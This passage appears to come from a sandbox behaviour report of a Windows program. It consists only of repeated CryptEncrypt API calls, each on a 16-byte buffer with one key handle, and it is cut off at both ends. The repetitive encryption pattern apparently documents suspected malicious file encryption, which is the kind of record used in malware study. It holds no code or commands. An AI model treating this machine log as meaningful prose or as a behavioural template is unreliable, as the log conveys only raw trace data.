hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.144] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.144] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.144] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.144] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.144] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.144] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.144] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.144] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.145] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.146] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.147] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.148] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt 